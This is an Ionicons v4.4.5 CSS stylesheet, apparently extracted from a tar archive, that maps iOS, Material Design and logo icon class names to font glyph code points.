.ion-md-checkmark-circle:before{content:"\f2bb"}.ion-md-checkmark-circle-outline:before{content:"\f2ba"}.ion-md-clipboard:before{content:"\f2bd"}.ion-md-clock:before{content:"\f2be"}.ion-md-close:before{content:"\f2c0"}.ion-md-close-circle:before{content:"\f2bf"}.ion-md-close-circle-outline:before{content:"\f166"}.ion-md-cloud:before{content:"\f2c9"}.ion-md-cloud-circle:before{content:"\f2c2"}.ion-md-cloud-done:before{content:"\f2c3"}.ion-md-cloud-download:before{content:"\f2c6"}.ion-md-cloud-outline:before{content:"\f2c7"}.ion-md-cloud-upload:before{content:"\f2c8"}.ion-md-cloudy:before{content:"\f2cb"}.ion-md-cloudy-night:before{content:"\f2ca"}.ion-md-code:before{content:"\f2ce"}.ion-md-code-download:before{content:"\f2cc"}.ion-md-code-working:before{content:"\f2cd"}.ion-md-cog:before{content:"\f2cf"}.ion-md-color-fill:before{content:"\f2d0"}.ion-md-color-filter:before{content:"\f2d1"}.ion-md-color-palette:before{content:"\f2d2"}.ion-md-color-wand:before{content:"\f2d3"}.ion-md-compass:before{content:"\f2d4"}.ion-md-construct:before{content:"\f2d5"}.ion-md-contact:before{content:"\f2d6"}.ion-md-contacts:before{content:"\f2d7"}.ion-md-contract:before{content:"\f2d8"}.ion-md-contrast:before{content:"\f2d9"}.ion-md-copy:before{content:"\f2da"}.ion-md-create:before{content:"\f2db"}.ion-md-crop:before{content:"\f2dc"}.ion-md-cube:before{content:"\f2dd"}.ion-md-cut:before{content:"\f2de"}.ion-md-desktop:before{content:"\f2df"}.ion-md-disc:before{content:"\f2e0"}.ion-md-document:before{content:"\f2e1"}.ion-md-done-all:before{content:"\f2e2"}.ion-md-download:before{content:"\f2e3"}.ion-md-easel:before{content:"\f2e4"}.ion-md-egg:before{content:"\f2e5"}.ion-md-exit:before{content:"\f2e6"}.ion-md-expand:before{content:"\f2e7"}.ion-md-eye:before{content:"\f2e9"}.ion-md-eye-off:before{content:"\f2e8"}.ion-md-fastforward:before{content:"\f2ea"}.ion-md-female:before{content:"\f2eb"}.ion-md-filing:before{content:"\f2ec"}.ion-md-film:before{content:"\f2ed"}.ion-md-finger-print:before{content:"\f2ee"}.ion-md-fitness:before{content:"\f1ac"}.ion-md-flag:before{content:"\f2ef"}.ion-md-flame:before{content:"\f2f0"}.ion-md-flash:before{content:"\f2f1"}.ion-md-flash-off:before{content:"\f169"}.ion-md-flashlight:before{content:"\f16b"}.ion-md-flask:before{content:"\f2f2"}.ion-md-flower:before{content:"\f2f3"}.ion-md-folder:before{content:"\f2f5"}.ion-md-folder-open:before{content:"\f2f4"}.ion-md-football:before{content:"\f2f6"}.ion-md-funnel:before{content:"\f2f7"}.ion-md-gift:before{content:"\f199"}.ion-md-git-branch:before{content:"\f2fa"}.ion-md-git-commit:before{content:"\f2fb"}.ion-md-git-compare:before{content:"\f2fc"}.ion-md-git-merge:before{content:"\f2fd"}.ion-md-git-network:before{content:"\f2fe"}.ion-md-git-pull-request:before{content:"\f2ff"}.ion-md-glasses:before{content:"\f300"}.ion-md-globe:before{content:"\f301"}.ion-md-grid:before{content:"\f302"}.ion-md-hammer:before{content:"\f303"}.ion-md-hand:before{content:"\f304"}.ion-md-happy:before{content:"\f305"}.ion-md-headset:before{content:"\f306"}.ion-md-heart:before{content:"\f308"}.ion-md-heart-dislike:before{content:"\f167"}.ion-md-heart-empty:before{content:"\f1a1"}.ion-md-heart-half:before{content:"\f1a2"}.ion-md-help:before{content:"\f30b"}.ion-md-help-buoy:before{content:"\f309"}.ion-md-help-circle:before{content:"\f30a"}.ion-md-help-circle-outline:before{content:"\f16d"}.ion-md-home:before{content:"\f30c"}.ion-md-hourglass:before{content:"\f111"}.ion-md-ice-cream:before{content:"\f30d"}.ion-md-image:before{content:"\f30e"}.ion-md-images:before{content:"\f30f"}.ion-md-infinite:before{content:"\f310"}.ion-md-information:before{content:"\f312"}.ion-md-information-circle:before{content:"\f311"}.ion-md-information-circle-outline:before{content:"\f16f"}.ion-md-jet:before{content:"\f315"}.ion-md-journal:before{content:"\f18d"}.ion-md-key:before{content:"\f316"}.ion-md-keypad:before{content:"\f317"}.ion-md-laptop:before{content:"\f318"}.ion-md-leaf:before{content:"\f319"}.ion-md-link:before{content:"\f22e"}.ion-md-list:before{content:"\f31b"}.ion-md-list-box:before{content:"\f31a"}.ion-md-locate:before{content:"\f31c"}.ion-md-lock:before{content:"\f31d"}.ion-md-log-in:before{content:"\f31e"}.ion-md-log-out:before{content:"\f31f"}.ion-md-magnet:before{content:"\f320"}.ion-md-mail:before{content:"\f322"}.ion-md-mail-open:before{content:"\f321"}.ion-md-mail-unread:before{content:"\f172"}.ion-md-male:before{content:"\f323"}.ion-md-man:before{content:"\f324"}.ion-md-map:before{content:"\f325"}.ion-md-medal:before{content:"\f326"}.ion-md-medical:before{content:"\f327"}.ion-md-medkit:before{content:"\f328"}.ion-md-megaphone:before{content:"\f329"}.ion-md-menu:before{content:"\f32a"}.ion-md-mic:before{content:"\f32c"}.ion-md-mic-off:before{content:"\f32b"}.ion-md-microphone:before{content:"\f32d"}.ion-md-moon:before{content:"\f32e"}.ion-md-more:before{content:"\f1c9"}.ion-md-move:before{content:"\f331"}.ion-md-musical-note:before{content:"\f332"}.ion-md-musical-notes:before{content:"\f333"}.ion-md-navigate:before{content:"\f334"}.ion-md-notifications:before{content:"\f338"}.ion-md-notifications-off:before{content:"\f336"}.ion-md-notifications-outline:before{content:"\f337"}.ion-md-nuclear:before{content:"\f339"}.ion-md-nutrition:before{content:"\f33a"}.ion-md-open:before{content:"\f33b"}.ion-md-options:before{content:"\f33c"}.ion-md-outlet:before{content:"\f33d"}.ion-md-paper:before{content:"\f33f"}.ion-md-paper-plane:before{content:"\f33e"}.ion-md-partly-sunny:before{content:"\f340"}.ion-md-pause:before{content:"\f341"}.ion-md-paw:before{content:"\f342"}.ion-md-people:before{content:"\f343"}.ion-md-person:before{content:"\f345"}.ion-md-person-add:before{content:"\f344"}.ion-md-phone-landscape:before{content:"\f346"}.ion-md-phone-portrait:before{content:"\f347"}.ion-md-photos:before{content:"\f348"}.ion-md-pie:before{content:"\f349"}.ion-md-pin:before{content:"\f34a"}.ion-md-pint:before{content:"\f34b"}.ion-md-pizza:before{content:"\f354"}.ion-md-planet:before{content:"\f356"}.ion-md-play:before{content:"\f357"}.ion-md-play-circle:before{content:"\f174"}.ion-md-podium:before{content:"\f358"}.ion-md-power:before{content:"\f359"}.ion-md-pricetag:before{content:"\f35a"}.ion-md-pricetags:before{content:"\f35b"}.ion-md-print:before{content:"\f35c"}.ion-md-pulse:before{content:"\f35d"}.ion-md-qr-scanner:before{content:"\f35e"}.ion-md-quote:before{content:"\f35f"}.ion-md-radio:before{content:"\f362"}.ion-md-radio-button-off:before{content:"\f360"}.ion-md-radio-button-on:before{content:"\f361"}.ion-md-rainy:before{content:"\f363"}.ion-md-recording:before{content:"\f364"}.ion-md-redo:before{content:"\f365"}.ion-md-refresh:before{content:"\f366"}.ion-md-refresh-circle:before{content:"\f228"}.ion-md-remove:before{content:"\f368"}.ion-md-remove-circle:before{content:"\f367"}.ion-md-remove-circle-outline:before{content:"\f176"}.ion-md-reorder:before{content:"\f369"}.ion-md-repeat:before{content:"\f36a"}.ion-md-resize:before{content:"\f36b"}.ion-md-restaurant:before{content:"\f36c"}.ion-md-return-left:before{content:"\f36d"}.ion-md-return-right:before{content:"\f36e"}.ion-md-reverse-camera:before{content:"\f36f"}.ion-md-rewind:before{content:"\f370"}.ion-md-ribbon:before{content:"\f371"}.ion-md-rocket:before{content:"\f179"}.ion-md-rose:before{content:"\f372"}.ion-md-sad:before{content:"\f373"}.ion-md-save:before{content:"\f1a9"}.ion-md-school:before{content:"\f374"}.ion-md-search:before{content:"\f375"}.ion-md-send:before{content:"\f376"}.ion-md-settings:before{content:"\f377"}.ion-md-share:before{content:"\f379"}.ion-md-share-alt:before{content:"\f378"}.ion-md-shirt:before{content:"\f37a"}.ion-md-shuffle:before{content:"\f37b"}.ion-md-skip-backward:before{content:"\f37c"}.ion-md-skip-forward:before{content:"\f37d"}.ion-md-snow:before{content:"\f37e"}.ion-md-speedometer:before{content:"\f37f"}.ion-md-square:before{content:"\f381"}.ion-md-square-outline:before{content:"\f380"}.ion-md-star:before{content:"\f384"}.ion-md-star-half:before{content:"\f382"}.ion-md-star-outline:before{content:"\f383"}.ion-md-stats:before{content:"\f385"}.ion-md-stopwatch:before{content:"\f386"}.ion-md-subway:before{content:"\f387"}.ion-md-sunny:before{content:"\f388"}.ion-md-swap:before{content:"\f389"}.ion-md-switch:before{content:"\f38a"}.ion-md-sync:before{content:"\f38b"}.ion-md-tablet-landscape:before{content:"\f38c"}.ion-md-tablet-portrait:before{content:"\f38d"}.ion-md-tennisball:before{content:"\f38e"}.ion-md-text:before{content:"\f38f"}.ion-md-thermometer:before{content:"\f390"}.ion-md-thumbs-down:before{content:"\f391"}.ion-md-thumbs-up:before{content:"\f392"}.ion-md-thunderstorm:before{content:"\f393"}.ion-md-time:before{content:"\f394"}.ion-md-timer:before{content:"\f395"}.ion-md-today:before{content:"\f17d"}.ion-md-train:before{content:"\f396"}.ion-md-transgender:before{content:"\f397"}.ion-md-trash:before{content:"\f398"}.ion-md-trending-down:before{content:"\f399"}.ion-md-trending-up:before{content:"\f39a"}.ion-md-trophy:before{content:"\f39b"}.ion-md-tv:before{content:"\f17f"}.ion-md-umbrella:before{content:"\f39c"}.ion-md-undo:before{content:"\f39d"}.ion-md-unlock:before{content:"\f39e"}.ion-md-videocam:before{content:"\f39f"}.ion-md-volume-high:before{content:"\f123"}.ion-md-volume-low:before{content:"\f131"}.ion-md-volume-mute:before{content:"\f3a1"}.ion-md-volume-off:before{content:"\f3a2"}.ion-md-walk:before{content:"\f3a4"}.ion-md-wallet:before{content:"\f18f"}.ion-md-warning:before{content:"\f3a5"}.ion-md-watch:before{content:"\f3a6"}.ion-md-water:before{content:"\f3a7"}.ion-md-wifi:before{content:"\f3a8"}.ion-md-wine:before{content:"\f3a9"}.ion-md-woman:before{content:"\f3aa"} css/ionicons-core.css000064400000111717151701353760010635 0ustar00@charset "UTF-8"; /*! Ionicons, v4.4.5 Created by Ben Sperry for the Ionic Framework, http://ionicons.com/ https://twitter.com/benjsperry https://twitter.com/ionicframework MIT License: https://github.com/driftyco/ionicons Android-style icons originally built by Google’s Material Design Icons: https://github.com/google/material-design-icons used under CC BY http://creativecommons.org/licenses/by/4.0/ Modified icons to fit ionicon’s grid from original. */ .ion-ios-add:before { content: "\f102"; } .ion-ios-add-circle:before { content: "\f101"; } .ion-ios-add-circle-outline:before { content: "\f100"; } .ion-ios-airplane:before { content: "\f137"; } .ion-ios-alarm:before { content: "\f3c8"; } .ion-ios-albums:before { content: "\f3ca"; } .ion-ios-alert:before { content: "\f104"; } .ion-ios-american-football:before { content: "\f106"; } .ion-ios-analytics:before { content: "\f3ce"; } .ion-ios-aperture:before { content: "\f108"; } .ion-ios-apps:before { content: "\f10a"; } .ion-ios-appstore:before { content: "\f10c"; } .ion-ios-archive:before { content: "\f10e"; } .ion-ios-arrow-back:before { content: "\f3cf"; } .ion-ios-arrow-down:before { content: "\f3d0"; } .ion-ios-arrow-dropdown:before { content: "\f110"; } .ion-ios-arrow-dropdown-circle:before { content: "\f125"; } .ion-ios-arrow-dropleft:before { content: "\f112"; } .ion-ios-arrow-dropleft-circle:before { content: "\f129"; } .ion-ios-arrow-dropright:before { content: "\f114"; } .ion-ios-arrow-dropright-circle:before { content: "\f12b"; } .ion-ios-arrow-dropup:before { content: "\f116"; } .ion-ios-arrow-dropup-circle:before { content: "\f12d"; } .ion-ios-arrow-forward:before { content: "\f3d1"; } .ion-ios-arrow-round-back:before { content: "\f117"; } .ion-ios-arrow-round-down:before { content: "\f118"; } .ion-ios-arrow-round-forward:before { content: "\f119"; } .ion-ios-arrow-round-up:before { content: "\f11a"; } .ion-ios-arrow-up:before { content: "\f3d8"; } .ion-ios-at:before { content: "\f3da"; } .ion-ios-attach:before { content: "\f11b"; } .ion-ios-backspace:before { content: "\f11d"; } .ion-ios-barcode:before { content: "\f3dc"; } .ion-ios-baseball:before { content: "\f3de"; } .ion-ios-basket:before { content: "\f11f"; } .ion-ios-basketball:before { content: "\f3e0"; } .ion-ios-battery-charging:before { content: "\f120"; } .ion-ios-battery-dead:before { content: "\f121"; } .ion-ios-battery-full:before { content: "\f122"; } .ion-ios-beaker:before { content: "\f124"; } .ion-ios-bed:before { content: "\f139"; } .ion-ios-beer:before { content: "\f126"; } .ion-ios-bicycle:before { content: "\f127"; } .ion-ios-bluetooth:before { content: "\f128"; } .ion-ios-boat:before { content: "\f12a"; } .ion-ios-body:before { content: "\f3e4"; } .ion-ios-bonfire:before { content: "\f12c"; } .ion-ios-book:before { content: "\f3e8"; } .ion-ios-bookmark:before { content: "\f12e"; } .ion-ios-bookmarks:before { content: "\f3ea"; } .ion-ios-bowtie:before { content: "\f130"; } .ion-ios-briefcase:before { content: "\f3ee"; } .ion-ios-browsers:before { content: "\f3f0"; } .ion-ios-brush:before { content: "\f132"; } .ion-ios-bug:before { content: "\f134"; } .ion-ios-build:before { content: "\f136"; } .ion-ios-bulb:before { content: "\f138"; } .ion-ios-bus:before { content: "\f13a"; } .ion-ios-business:before { content: "\f1a3"; } .ion-ios-cafe:before { content: "\f13c"; } .ion-ios-calculator:before { content: "\f3f2"; } .ion-ios-calendar:before { content: "\f3f4"; } .ion-ios-call:before { content: "\f13e"; } .ion-ios-camera:before { content: "\f3f6"; } .ion-ios-car:before { content: "\f140"; } .ion-ios-card:before { content: "\f142"; } .ion-ios-cart:before { content: "\f3f8"; } .ion-ios-cash:before { content: "\f144"; } .ion-ios-cellular:before { content: "\f13d"; } .ion-ios-chatboxes:before { content: "\f3fa"; } .ion-ios-chatbubbles:before { content: "\f146"; } .ion-ios-checkbox:before { content: "\f148"; } .ion-ios-checkbox-outline:before { content: "\f147"; } .ion-ios-checkmark:before { content: "\f3ff"; } .ion-ios-checkmark-circle:before { content: "\f14a"; } .ion-ios-checkmark-circle-outline:before { content: "\f149"; } .ion-ios-clipboard:before { content: "\f14c"; } .ion-ios-clock:before { content: "\f403"; } .ion-ios-close:before { content: "\f406"; } .ion-ios-close-circle:before { content: "\f14e"; } .ion-ios-close-circle-outline:before { content: "\f14d"; } .ion-ios-cloud:before { content: "\f40c"; } .ion-ios-cloud-circle:before { content: "\f152"; } .ion-ios-cloud-done:before { content: "\f154"; } .ion-ios-cloud-download:before { content: "\f408"; } .ion-ios-cloud-outline:before { content: "\f409"; } .ion-ios-cloud-upload:before { content: "\f40b"; } .ion-ios-cloudy:before { content: "\f410"; } .ion-ios-cloudy-night:before { content: "\f40e"; } .ion-ios-code:before { content: "\f157"; } .ion-ios-code-download:before { content: "\f155"; } .ion-ios-code-working:before { content: "\f156"; } .ion-ios-cog:before { content: "\f412"; } .ion-ios-color-fill:before { content: "\f159"; } .ion-ios-color-filter:before { content: "\f414"; } .ion-ios-color-palette:before { content: "\f15b"; } .ion-ios-color-wand:before { content: "\f416"; } .ion-ios-compass:before { content: "\f15d"; } .ion-ios-construct:before { content: "\f15f"; } .ion-ios-contact:before { content: "\f41a"; } .ion-ios-contacts:before { content: "\f161"; } .ion-ios-contract:before { content: "\f162"; } .ion-ios-contrast:before { content: "\f163"; } .ion-ios-copy:before { content: "\f41c"; } .ion-ios-create:before { content: "\f165"; } .ion-ios-crop:before { content: "\f41e"; } .ion-ios-cube:before { content: "\f168"; } .ion-ios-cut:before { content: "\f16a"; } .ion-ios-desktop:before { content: "\f16c"; } .ion-ios-disc:before { content: "\f16e"; } .ion-ios-document:before { content: "\f170"; } .ion-ios-done-all:before { content: "\f171"; } .ion-ios-download:before { content: "\f420"; } .ion-ios-easel:before { content: "\f173"; } .ion-ios-egg:before { content: "\f175"; } .ion-ios-exit:before { content: "\f177"; } .ion-ios-expand:before { content: "\f178"; } .ion-ios-eye:before { content: "\f425"; } .ion-ios-eye-off:before { content: "\f17a"; } .ion-ios-fastforward:before { content: "\f427"; } .ion-ios-female:before { content: "\f17b"; } .ion-ios-filing:before { content: "\f429"; } .ion-ios-film:before { content: "\f42b"; } .ion-ios-finger-print:before { content: "\f17c"; } .ion-ios-fitness:before { content: "\f1ab"; } .ion-ios-flag:before { content: "\f42d"; } .ion-ios-flame:before { content: "\f42f"; } .ion-ios-flash:before { content: "\f17e"; } .ion-ios-flash-off:before { content: "\f12f"; } .ion-ios-flashlight:before { content: "\f141"; } .ion-ios-flask:before { content: "\f431"; } .ion-ios-flower:before { content: "\f433"; } .ion-ios-folder:before { content: "\f435"; } .ion-ios-folder-open:before { content: "\f180"; } .ion-ios-football:before { content: "\f437"; } .ion-ios-funnel:before { content: "\f182"; } .ion-ios-gift:before { content: "\f191"; } .ion-ios-git-branch:before { content: "\f183"; } .ion-ios-git-commit:before { content: "\f184"; } .ion-ios-git-compare:before { content: "\f185"; } .ion-ios-git-merge:before { content: "\f186"; } .ion-ios-git-network:before { content: "\f187"; } .ion-ios-git-pull-request:before { content: "\f188"; } .ion-ios-glasses:before { content: "\f43f"; } .ion-ios-globe:before { content: "\f18a"; } .ion-ios-grid:before { content: "\f18c"; } .ion-ios-hammer:before { content: "\f18e"; } .ion-ios-hand:before { content: "\f190"; } .ion-ios-happy:before { content: "\f192"; } .ion-ios-headset:before { content: "\f194"; } .ion-ios-heart:before { content: "\f443"; } .ion-ios-heart-dislike:before { content: "\f13f"; } .ion-ios-heart-empty:before { content: "\f19b"; } .ion-ios-heart-half:before { content: "\f19d"; } .ion-ios-help:before { content: "\f446"; } .ion-ios-help-buoy:before { content: "\f196"; } .ion-ios-help-circle:before { content: "\f198"; } .ion-ios-help-circle-outline:before { content: "\f197"; } .ion-ios-home:before { content: "\f448"; } .ion-ios-hourglass:before { content: "\f103"; } .ion-ios-ice-cream:before { content: "\f19a"; } .ion-ios-image:before { content: "\f19c"; } .ion-ios-images:before { content: "\f19e"; } .ion-ios-infinite:before { content: "\f44a"; } .ion-ios-information:before { content: "\f44d"; } .ion-ios-information-circle:before { content: "\f1a0"; } .ion-ios-information-circle-outline:before { content: "\f19f"; } .ion-ios-jet:before { content: "\f1a5"; } .ion-ios-journal:before { content: "\f189"; } .ion-ios-key:before { content: "\f1a7"; } .ion-ios-keypad:before { content: "\f450"; } .ion-ios-laptop:before { content: "\f1a8"; } .ion-ios-leaf:before { content: "\f1aa"; } .ion-ios-link:before { content: "\f22a"; } .ion-ios-list:before { content: "\f454"; } .ion-ios-list-box:before { content: "\f143"; } .ion-ios-locate:before { content: "\f1ae"; } .ion-ios-lock:before { content: "\f1b0"; } .ion-ios-log-in:before { content: "\f1b1"; } .ion-ios-log-out:before { content: "\f1b2"; } .ion-ios-magnet:before { content: "\f1b4"; } .ion-ios-mail:before { content: "\f1b8"; } .ion-ios-mail-open:before { content: "\f1b6"; } .ion-ios-mail-unread:before { content: "\f145"; } .ion-ios-male:before { content: "\f1b9"; } .ion-ios-man:before { content: "\f1bb"; } .ion-ios-map:before { content: "\f1bd"; } .ion-ios-medal:before { content: "\f1bf"; } .ion-ios-medical:before { content: "\f45c"; } .ion-ios-medkit:before { content: "\f45e"; } .ion-ios-megaphone:before { content: "\f1c1"; } .ion-ios-menu:before { content: "\f1c3"; } .ion-ios-mic:before { content: "\f461"; } .ion-ios-mic-off:before { content: "\f45f"; } .ion-ios-microphone:before { content: "\f1c6"; } .ion-ios-moon:before { content: "\f468"; } .ion-ios-more:before { content: "\f1c8"; } .ion-ios-move:before { content: "\f1cb"; } .ion-ios-musical-note:before { content: "\f46b"; } .ion-ios-musical-notes:before { content: "\f46c"; } .ion-ios-navigate:before { content: "\f46e"; } .ion-ios-notifications:before { content: "\f1d3"; } .ion-ios-notifications-off:before { content: "\f1d1"; } .ion-ios-notifications-outline:before { content: "\f133"; } .ion-ios-nuclear:before { content: "\f1d5"; } .ion-ios-nutrition:before { content: "\f470"; } .ion-ios-open:before { content: "\f1d7"; } .ion-ios-options:before { content: "\f1d9"; } .ion-ios-outlet:before { content: "\f1db"; } .ion-ios-paper:before { content: "\f472"; } .ion-ios-paper-plane:before { content: "\f1dd"; } .ion-ios-partly-sunny:before { content: "\f1df"; } .ion-ios-pause:before { content: "\f478"; } .ion-ios-paw:before { content: "\f47a"; } .ion-ios-people:before { content: "\f47c"; } .ion-ios-person:before { content: "\f47e"; } .ion-ios-person-add:before { content: "\f1e1"; } .ion-ios-phone-landscape:before { content: "\f1e2"; } .ion-ios-phone-portrait:before { content: "\f1e3"; } .ion-ios-photos:before { content: "\f482"; } .ion-ios-pie:before { content: "\f484"; } .ion-ios-pin:before { content: "\f1e5"; } .ion-ios-pint:before { content: "\f486"; } .ion-ios-pizza:before { content: "\f1e7"; } .ion-ios-planet:before { content: "\f1eb"; } .ion-ios-play:before { content: "\f488"; } .ion-ios-play-circle:before { content: "\f113"; } .ion-ios-podium:before { content: "\f1ed"; } .ion-ios-power:before { content: "\f1ef"; } .ion-ios-pricetag:before { content: "\f48d"; } .ion-ios-pricetags:before { content: "\f48f"; } .ion-ios-print:before { content: "\f1f1"; } .ion-ios-pulse:before { content: "\f493"; } .ion-ios-qr-scanner:before { content: "\f1f3"; } .ion-ios-quote:before { content: "\f1f5"; } .ion-ios-radio:before { content: "\f1f9"; } .ion-ios-radio-button-off:before { content: "\f1f6"; } .ion-ios-radio-button-on:before { content: "\f1f7"; } .ion-ios-rainy:before { content: "\f495"; } .ion-ios-recording:before { content: "\f497"; } .ion-ios-redo:before { content: "\f499"; } .ion-ios-refresh:before { content: "\f49c"; } .ion-ios-refresh-circle:before { content: "\f135"; } .ion-ios-remove:before { content: "\f1fc"; } .ion-ios-remove-circle:before { content: "\f1fb"; } .ion-ios-remove-circle-outline:before { content: "\f1fa"; } .ion-ios-reorder:before { content: "\f1fd"; } .ion-ios-repeat:before { content: "\f1fe"; } .ion-ios-resize:before { content: "\f1ff"; } .ion-ios-restaurant:before { content: "\f201"; } .ion-ios-return-left:before { content: "\f202"; } .ion-ios-return-right:before { content: "\f203"; } .ion-ios-reverse-camera:before { content: "\f49f"; } .ion-ios-rewind:before { content: "\f4a1"; } .ion-ios-ribbon:before { content: "\f205"; } .ion-ios-rocket:before { content: "\f14b"; } .ion-ios-rose:before { content: "\f4a3"; } .ion-ios-sad:before { content: "\f207"; } .ion-ios-save:before { content: "\f1a6"; } .ion-ios-school:before { content: "\f209"; } .ion-ios-search:before { content: "\f4a5"; } .ion-ios-send:before { content: "\f20c"; } .ion-ios-settings:before { content: "\f4a7"; } .ion-ios-share:before { content: "\f211"; } .ion-ios-share-alt:before { content: "\f20f"; } .ion-ios-shirt:before { content: "\f213"; } .ion-ios-shuffle:before { content: "\f4a9"; } .ion-ios-skip-backward:before { content: "\f215"; } .ion-ios-skip-forward:before { content: "\f217"; } .ion-ios-snow:before { content: "\f218"; } .ion-ios-speedometer:before { content: "\f4b0"; } .ion-ios-square:before { content: "\f21a"; } .ion-ios-square-outline:before { content: "\f15c"; } .ion-ios-star:before { content: "\f4b3"; } .ion-ios-star-half:before { content: "\f4b1"; } .ion-ios-star-outline:before { content: "\f4b2"; } .ion-ios-stats:before { content: "\f21c"; } .ion-ios-stopwatch:before { content: "\f4b5"; } .ion-ios-subway:before { content: "\f21e"; } .ion-ios-sunny:before { content: "\f4b7"; } .ion-ios-swap:before { content: "\f21f"; } .ion-ios-switch:before { content: "\f221"; } .ion-ios-sync:before { content: "\f222"; } .ion-ios-tablet-landscape:before { content: "\f223"; } .ion-ios-tablet-portrait:before { content: "\f24e"; } .ion-ios-tennisball:before { content: "\f4bb"; } .ion-ios-text:before { content: "\f250"; } .ion-ios-thermometer:before { content: "\f252"; } .ion-ios-thumbs-down:before { content: "\f254"; } .ion-ios-thumbs-up:before { content: "\f256"; } .ion-ios-thunderstorm:before { content: "\f4bd"; } .ion-ios-time:before { content: "\f4bf"; } .ion-ios-timer:before { content: "\f4c1"; } .ion-ios-today:before { content: "\f14f"; } .ion-ios-train:before { content: "\f258"; } .ion-ios-transgender:before { content: "\f259"; } .ion-ios-trash:before { content: "\f4c5"; } .ion-ios-trending-down:before { content: "\f25a"; } .ion-ios-trending-up:before { content: "\f25b"; } .ion-ios-trophy:before { content: "\f25d"; } .ion-ios-tv:before { content: "\f115"; } .ion-ios-umbrella:before { content: "\f25f"; } .ion-ios-undo:before { content: "\f4c7"; } .ion-ios-unlock:before { content: "\f261"; } .ion-ios-videocam:before { content: "\f4cd"; } .ion-ios-volume-high:before { content: "\f11c"; } .ion-ios-volume-low:before { content: "\f11e"; } .ion-ios-volume-mute:before { content: "\f263"; } .ion-ios-volume-off:before { content: "\f264"; } .ion-ios-walk:before { content: "\f266"; } .ion-ios-wallet:before { content: "\f18b"; } .ion-ios-warning:before { content: "\f268"; } .ion-ios-watch:before { content: "\f269"; } .ion-ios-water:before { content: "\f26b"; } .ion-ios-wifi:before { content: "\f26d"; } .ion-ios-wine:before { content: "\f26f"; } .ion-ios-woman:before { content: "\f271"; } .ion-logo-android:before { content: "\f225"; } .ion-logo-angular:before { content: "\f227"; } .ion-logo-apple:before { content: "\f229"; } .ion-logo-bitbucket:before { content: "\f193"; } .ion-logo-bitcoin:before { content: "\f22b"; } .ion-logo-buffer:before { content: "\f22d"; } .ion-logo-chrome:before { content: "\f22f"; } .ion-logo-closed-captioning:before { content: "\f105"; } .ion-logo-codepen:before { content: "\f230"; } .ion-logo-css3:before { content: "\f231"; } .ion-logo-designernews:before { content: "\f232"; } .ion-logo-dribbble:before { content: "\f233"; } .ion-logo-dropbox:before { content: "\f234"; } .ion-logo-euro:before { content: "\f235"; } .ion-logo-facebook:before { content: "\f236"; } .ion-logo-flickr:before { content: "\f107"; } .ion-logo-foursquare:before { content: "\f237"; } .ion-logo-freebsd-devil:before { content: "\f238"; } .ion-logo-game-controller-a:before { content: "\f13b"; } .ion-logo-game-controller-b:before { content: "\f181"; } .ion-logo-github:before { content: "\f239"; } .ion-logo-google:before { content: "\f23a"; } .ion-logo-googleplus:before { content: "\f23b"; } .ion-logo-hackernews:before { content: "\f23c"; } .ion-logo-html5:before { content: "\f23d"; } .ion-logo-instagram:before { content: "\f23e"; } .ion-logo-ionic:before { content: "\f150"; } .ion-logo-ionitron:before { content: "\f151"; } .ion-logo-javascript:before { content: "\f23f"; } .ion-logo-linkedin:before { content: "\f240"; } .ion-logo-markdown:before { content: "\f241"; } .ion-logo-model-s:before { content: "\f153"; } .ion-logo-no-smoking:before { content: "\f109"; } .ion-logo-nodejs:before { content: "\f242"; } .ion-logo-npm:before { content: "\f195"; } .ion-logo-octocat:before { content: "\f243"; } .ion-logo-pinterest:before { content: "\f244"; } .ion-logo-playstation:before { content: "\f245"; } .ion-logo-polymer:before { content: "\f15e"; } .ion-logo-python:before { content: "\f246"; } .ion-logo-reddit:before { content: "\f247"; } .ion-logo-rss:before { content: "\f248"; } .ion-logo-sass:before { content: "\f249"; } .ion-logo-skype:before { content: "\f24a"; } .ion-logo-slack:before { content: "\f10b"; } .ion-logo-snapchat:before { content: "\f24b"; } .ion-logo-steam:before { content: "\f24c"; } .ion-logo-tumblr:before { content: "\f24d"; } .ion-logo-tux:before { content: "\f2ae"; } .ion-logo-twitch:before { content: "\f2af"; } .ion-logo-twitter:before { content: "\f2b0"; } .ion-logo-usd:before { content: "\f2b1"; } .ion-logo-vimeo:before { content: "\f2c4"; } .ion-logo-vk:before { content: "\f10d"; } .ion-logo-whatsapp:before { content: "\f2c5"; } .ion-logo-windows:before { content: "\f32f"; } .ion-logo-wordpress:before { content: "\f330"; } .ion-logo-xbox:before { content: "\f34c"; } .ion-logo-xing:before { content: "\f10f"; } .ion-logo-yahoo:before { content: "\f34d"; } .ion-logo-yen:before { content: "\f34e"; } .ion-logo-youtube:before { content: "\f34f"; } .ion-md-add:before { content: "\f273"; } .ion-md-add-circle:before { content: "\f272"; } .ion-md-add-circle-outline:before { content: "\f158"; } .ion-md-airplane:before { content: "\f15a"; } .ion-md-alarm:before { content: "\f274"; } .ion-md-albums:before { content: "\f275"; } .ion-md-alert:before { content: "\f276"; } .ion-md-american-football:before { content: "\f277"; } .ion-md-analytics:before { content: "\f278"; } .ion-md-aperture:before { content: "\f279"; } .ion-md-apps:before { content: "\f27a"; } .ion-md-appstore:before { content: "\f27b"; } .ion-md-archive:before { content: "\f27c"; } .ion-md-arrow-back:before { content: "\f27d"; } .ion-md-arrow-down:before { content: "\f27e"; } .ion-md-arrow-dropdown:before { content: "\f280"; } .ion-md-arrow-dropdown-circle:before { content: "\f27f"; } .ion-md-arrow-dropleft:before { content: "\f282"; } .ion-md-arrow-dropleft-circle:before { content: "\f281"; } .ion-md-arrow-dropright:before { content: "\f284"; } .ion-md-arrow-dropright-circle:before { content: "\f283"; } .ion-md-arrow-dropup:before { content: "\f286"; } .ion-md-arrow-dropup-circle:before { content: "\f285"; } .ion-md-arrow-forward:before { content: "\f287"; } .ion-md-arrow-round-back:before { content: "\f288"; } .ion-md-arrow-round-down:before { content: "\f289"; } .ion-md-arrow-round-forward:before { content: "\f28a"; } .ion-md-arrow-round-up:before { content: "\f28b"; } .ion-md-arrow-up:before { content: "\f28c"; } .ion-md-at:before { content: "\f28d"; } .ion-md-attach:before { content: "\f28e"; } .ion-md-backspace:before { content: "\f28f"; } .ion-md-barcode:before { content: "\f290"; } .ion-md-baseball:before { content: "\f291"; } .ion-md-basket:before { content: "\f292"; } .ion-md-basketball:before { content: "\f293"; } .ion-md-battery-charging:before { content: "\f294"; } .ion-md-battery-dead:before { content: "\f295"; } .ion-md-battery-full:before { content: "\f296"; } .ion-md-beaker:before { content: "\f297"; } .ion-md-bed:before { content: "\f160"; } .ion-md-beer:before { content: "\f298"; } 